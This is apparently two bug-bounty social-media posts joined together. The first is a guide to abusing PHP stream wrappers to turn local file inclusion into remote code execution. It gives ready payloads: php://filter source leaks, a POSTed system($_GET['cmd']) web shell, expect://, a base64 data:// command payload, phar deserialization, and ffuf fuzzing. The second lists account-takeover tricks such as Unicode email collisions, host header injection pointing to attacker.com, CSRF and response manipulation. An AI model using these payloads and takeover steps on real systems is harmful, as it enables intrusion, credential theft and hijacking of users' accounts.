🔥 Mastering PHP Filters & Wrappers for LFI to RCE — FULL GUIDE ⚠️Most hackers stop at reading logs. The elite use PHP wrappers to turn LFI into remote code execution. This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. 👇 🎯 Why PHP Wrappers Matter in Bug Bounty

PHP provides built-in stream wrappers — special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.

As attackers, we can abuse these wrappers to: ✅ Read raw PHP source (even when .php is auto-appended) ✅ Bypass execution to leak secrets ✅ Chain into full RCE ✅ Abuse legacy or misconfigured server behavior Commonly used wrappers: ▶️ php://filter ▶️ php://input ▶️ php://memory ▶️ data:// ▶️ expect:// ▶️ zip:// ▶️ phar:// 🧬 Using php://filter for Source Code Disclosure This is the most useful wrapper for LFI. Payload:

php://filter/read=convert.base64-encode/resource=index

Why it works: ✅ read=convert.base64-encode prevents execution of the PHP code ✅ Base64 output = raw, readable source Example:

http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=config

Decode result:

echo 'PD9waHAK...base64...' | base64 -d

Now you see source code, credentials, internal logic, API keys, etc. 🔧 Other Useful PHP Wrappers 1️⃣ php://input Reads raw POST data. Good for injecting code during file inclusions via POST.

<?php include('php://input'); ?>

Then POST:

POST /index.php
<?php system($_GET['cmd']); ?>

✅ Shell access via cmd parameter. 2️⃣ expect:// (if available) Allows direct execution of system commands.

include('expect://ls');

⚠️ Rare but deadly if enabled. 3️⃣ data:// Inline file input using base64 or plaintext. Example:

include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');

🟡 Executes: system('whoami') 4️⃣ zip:// ✅ Targets ZIP files as file systems. ✅ Abuse via LFI to include malicious entries. Structure:

zip://path/to/archive.zip#file_inside.txt

Use this with file upload + LFI combo. 5️⃣ phar:// Deserializes metadata → use with Object Injection + LFI. Upload malicious PHAR:

phar://path/to/phar_file

If unserialize() is called on a phar wrapper, it can lead to RCE. 🔍 Fuzzing PHP Files Before Exploiting

ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php

Watch for: 200 → exists and renders 403/302 → access denied, but still includable via LFI 📁 Standard Inclusion vs. Filtered Inclusion Including via:

?file=config

🟡 Executes file, no output if file has no HTML. Using filter:

?file=php://filter/read=convert.base64-encode/resource=config

🟡 Returns base64 source code. 🧪 Decode & Analyze the Source Code

echo 'base64-encoded-content' | base64 -d

Look for: ✅ $db_password, $admin_pass ✅ API endpoints ✅ Sensitive routes ✅ Hardcoded JWT secrets or keys 💣 Advanced Chaining → From LFI to RCE Read source via php://filter Find upload paths or SSRF endpoints Upload malicious phar:// file Trigger inclusion → RCE This chain has been used in real-world bounty reports. 🧱 Defense Tips for Developers: - Disable allow_url_include, allow_url_fopen - Avoid dynamic include($_GET['page']) - Use strict whitelists - Harden php.ini configs - Monitor suspicious access patterns 🧠 Daily hacking insights 🛠 Payloads & Tools 🐞 Real bug bounty techniques ⚔️ Hands-on exploitation walkthroughs 👍 Like this post if it helped 🔁 Share to boost your hacker circle 🔗 Github link : github.com/cybersecplayground... #lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground

Firing 8 Account Takeover Methods 🔴Unicode Normalization Issue 1. victim account: victim@gmail.com 2. create an account using Unicode | example: vićtim@gmail.com (here is ć is an Unicode character) ✍️ list of Unicode character: 🔗 Link

Note: check where verification doesn’t require

🔴Authorization Issue 1. change email of Account A and put email B 2. check confirmation mail in account B 3. open the confirmation mail from account C Taken over Account C 🔴Reusing Reset Token if target allows you to reuse the reset link then hunt for more reset link via gau ,wayback or urlscan.io 🔴Pre Account Takeover 1. signup using normal signup form as a hacker but hacker has no verification link. 2. then if victim signs up using oauth . 3. Verification bypass now attacker can login the victim account without verification link with the password he entered while registering. 🔴CORS Misconfiguration to Account Takeover 1. check api , any endpoint has access access token/session/secret/fingerprint 2. if yes check for CORS misconfiguration does it allow us to fetch data from target? 3. make a payload to fetch data and replace headers and boom 🔴CSRF to ATO If profile modification in cookie based authentication doesn’t generate any token 1. open Account A change & Put email that you own click save intercept the request and generate a csrf poc. 2. if fully cookie based auth then you dont have to modify anything send the CSRF file to victim. 3. if it requires UUID/UserID or unique token it becomes hard to do that but that doesn't mean it is secure , just start playing with target hint: password reset page helps many times for UUID/GUID and UserID 🔴Host Header Injection well in this case there are 4 ways do that. 1. click reset password change host header. 2. or change proxy header ex: X-Forwarded-For: attacker.com 3. or change host, referrer, origin headers at once as attacker.com 4. click reset then click resend mail and do all 3 methods above 🔴Response Manipulation 1. code manipulation * to 200 OK 2. code and body manipulation code * to 200 OK body * to {"success":true} or {}

It works when json is being used to transfer and receive data.
